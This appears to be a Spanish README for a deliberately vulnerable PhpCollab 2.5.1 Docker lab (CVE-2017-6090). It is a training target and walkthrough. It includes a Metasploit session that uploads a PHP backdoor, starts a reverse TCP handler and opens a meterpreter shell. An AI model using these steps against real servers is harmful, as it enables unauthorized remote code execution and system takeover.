
PhpCollab explotable containerizado
Este proyecto construye un contenedor que ejecuta PhpCollab 2.5.1, que contiene una vulnerabilidad de ejecución remota de código según se detalla en CVE-2017-6090. Además, hay un archivo docker-compose para iniciar ese contenedor y mysql para mostrar la demo, y las instrucciones para explotar están a continuación.
docker build -t nombrecontenedor . o usa la imagen jlkinsel/exploit-cve-2017-6090
La forma más fácil de poner esto en marcha es usar el archivo docker-compose.yml incluido. Si me aburro en algún momento - o la gente muestra interés - crearé un despliegue de kubernetes o un helm chart.
Entonces, para empezar:
docker-compose up
¡Hasta ahora, todo bien! Ahora, phpcollab necesita ser configurado para usar la base de datos, y proporcionarle una contraseña de administrador por defecto. Intenté (brevemente) automatizar esto, pero...bueno...parece que sabes usar un navegador...
Finalmente, puedes iniciar sesión y explorar, pero no es necesario para la explotación.
Observa que esta composición docker no está haciendo nada sofisticado para el almacenamiento. Si deseas persistir la base de datos mysql, tendrás que agregar una definición de volumen a la definición del servicio mysql en docker-compose.yml. Consulta ejemplos en la página de mariadb en docker hub.
Primero - sigue Ejecución y Configuración arriba para poner la aplicación en funcionamiento.
No agregué un exploit en este proyecto, porque, bueno, Metasploit.
¿Nuevo en MSF? Aquí tienes una visión rápida de cómo explotar el contenedor que acabamos de iniciar:
docker run -ti --network exploitcve20176090_default remnux/metasploit
Esto tarda unos minutos en ponerse en marcha. La página de remnux/metasploit en docker hub cubre el uso de volúmenes para que no tarde tanto en el futuro. ¡Pero estamos a punto ahora!
Una vez que obtengas un prompt de shell, continuemos:
# msfconsole
msf5 > use exploit/unix/webapp/phpcollab_upload_exec
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGET 0
TARGET => 0
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RHOST phpcollab
RHOST => phpcollab
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set RPORT 80
RPORT => 80
msf5 exploit(unix/webapp/phpcollab_upload_exec) > set TARGETURI /
TARGETURI => /
msf5 exploit(unix/webapp/phpcollab_upload_exec) > exploit
[*] Started reverse TCP handler on 172.31.0.4:4444
[*] Uploading backdoor file: 1.wGvfKLDyWHL.php
[+] Backdoor successfully created.
[*] Triggering the exploit...
[*] Sending stage (37543 bytes) to 172.31.0.2
[+] Deleted 1.wGvfKLDyWHL.php
meterpreter >
En este punto, has entrado, y los juegos pueden comenzar.
Si el nombre de este directorio es algo diferente de "exploit-CVE-2017-6090" tendrás que cambiar el comando --network de arriba.
También - sí, configuramos el puerto remoto a 80 en msfconsole, aunque sea 8088 externamente. El contenedor de metasploit está en la misma red que el contenedor de phpcollab.
| Campo | valor |
|---|
| Database server | mysql |
| Database login | phpcollab |
| Database password | changeme |
| Database name | phpcollab |
| Notificaciones | False |
| Contraseña de administrador | changeme (o lo que quieras) |